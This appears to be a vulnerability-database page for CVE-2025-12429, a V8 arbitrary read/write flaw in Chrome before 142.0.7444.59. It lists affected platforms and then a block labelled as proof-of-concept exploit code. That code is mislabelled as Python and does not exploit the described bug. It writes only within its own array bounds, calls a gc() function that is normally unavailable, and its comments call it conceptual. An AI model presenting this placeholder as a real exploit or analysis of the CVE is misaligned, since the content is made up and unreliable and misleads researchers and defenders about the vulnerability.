Inappropriate implementation in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12429 PoC - V8 Engine Arbitrary Read/Write
// This is a conceptual PoC for educational and security research purposes only
function triggerV8Bug() {
// Create objects to manipulate V8 heap
const victim = new ArrayBuffer(0x1000);
const view = new DataView(victim);
// Technique: Use JS objects to trigger type confusion in V8
// This creates conditions for arbitrary read/write
const objects = [];
for (let i = 0; i < 100; i++) {
objects.push({
value: new Uint8Array(0x100),
marker: 0x41414141
});
}
// Trigger garbage collection to create heap layout favorable for exploit
// In real exploit, this would involve more sophisticated heap feng shui
gc();
// Craft malicious payload to exploit V8 vulnerability
// The specific implementation depends on the exact V8 bug
const exploit = function() {
// Create conditions for arbitrary memory access
const target = new Uint8Array(0x200);
// Use type confusion to bypass security checks
// This is where the actual vulnerability is exploited
for (let i = 0; i < target.length; i++) {
// Attempt to read/write beyond allocated bounds
target[i] = 0xFF;
}
return target;
};
// Execute exploit
exploit();
// Read sensitive data from memory
// In real attack, this would extract cookies, passwords, etc.
const leakedData = new Uint8Array(victim);
console.log('Leaked data length:', leakedData.length);
return leakedData;
}
// Trigger the vulnerability
try {
const data = triggerV8Bug();
console.log('Exploit executed, data length:', data.length);
} catch (e) {
console.log('Error during exploit:', e.message);
}
// Note: This is a simplified conceptual PoC. Real exploitation requires:
// 1. Detailed analysis of the specific V8 bug
// 2. Precise heap grooming techniques
// 3. Return-oriented programming (ROP) gadgets
// 4. Browser-specific exploitation techniques